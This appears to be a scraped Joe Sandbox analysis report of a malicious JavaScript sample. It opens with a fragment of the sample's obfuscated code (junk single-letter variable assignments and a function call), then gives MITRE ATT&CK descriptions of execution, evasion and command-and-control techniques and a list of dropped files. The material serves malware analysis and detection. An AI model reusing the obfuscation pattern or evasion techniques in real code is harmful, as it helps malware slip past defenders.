1221	rbhwjppa = "P";
1222	rbhwjppa = "k";
1223	rbhwjppa = "h";
1224	rbhwjppa = "c";
1225	rbhwjppa = "l";
1226	rbhwjppa = "P";
1227	rbhwjppa = "b";
1228	rbhwjppa = "m";
1229	rbhwjppa = "Y";
1230	rbhwjppa = "N";
1231	exgyve = "v";
1232	exgyve = "S";
1233	exgyve = "O";
1234	exgyve = "p";
1235	exgyve = "g";
1236	exgyve = "X";
1237	exgyve = "R";
1238	exgyve = "E";
1239	exgyve = "D";
1240	exgyve = "f";
1241	exgyve = "D";
1242	exgyve = "\\";
1243	kiuei = "c";
1244	kiuei = "j";
1245	kiuei = "v";
1246	kiuei = "H";
1247	kiuei = "d";
1248	kiuei = "C";
1249	kiuei = "Q";
1250	kiuei = "s";
1251	kiuei = "j";
1252	kiuei = "R";
1253	kiuei = "F";
1254	kiuei = "i";
1255	kiuei = "Y";
1256	kiuei = "z";
1257	kiuei = "u";
1258	kiuei = "k";
1259	kiuei = "e";
1260	kcqve = "s";
1261	kcqve = "Y";
1262	kcqve = "E";
1263	kcqve = "A";
1264	kcqve = "N";
1265	kcqve = "v";
1266	kcqve = "r";
1267	kcqve = "U";
1268	kcqve = "s";
1269	kcqve = "d";
1270	kcqve = "n";
1271	kcqve = "i";
1272	kuyit ( );	kuyit() ➔ undefined

Reset < >

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.
Tactics:	Execution
Data Sources:	Application Log: Application Log Content, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for folders and drives shared on remote systems as a means of identifying sources of information to gather as a precursor for Collection and to identify potential systems of interest for Lateral Movement. Networks often contain shared network drives and folders that enable users to access file directories on various systems across a network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may obfuscate command and control traffic to make it more difficult to detect. Command and control (C2) communications are hidden (but not necessarily encrypted) in an attempt to make the content more difficult to discover or decipher and to make the communication less conspicuous and hide commands from being seen. This encompasses many methods, such as adding junk data to protocol traffic, using steganography, or impersonating legitimate protocols.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report 1712226379134618467.js

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Memory Dumps

Sigma Signatures

System Summary

HIPS / PFW / Operating System Protection Evasion

Suricata Signatures

Joe Sandbox Signatures

Software Vulnerabilities

Networking

Spam, unwanted Advertisements and Ransom Demands

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\Microsoft\Network\Downloader\edb.log

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\946259f2-07c4-447d-9265-17a38dd98d72.tmp

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State~RF44bae8.TMP (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\e67206db-db55-4ea6-bc44-5beaf1a7f27d.tmp

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages-journal

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

Windows Analysis Report
1712226379134618467.js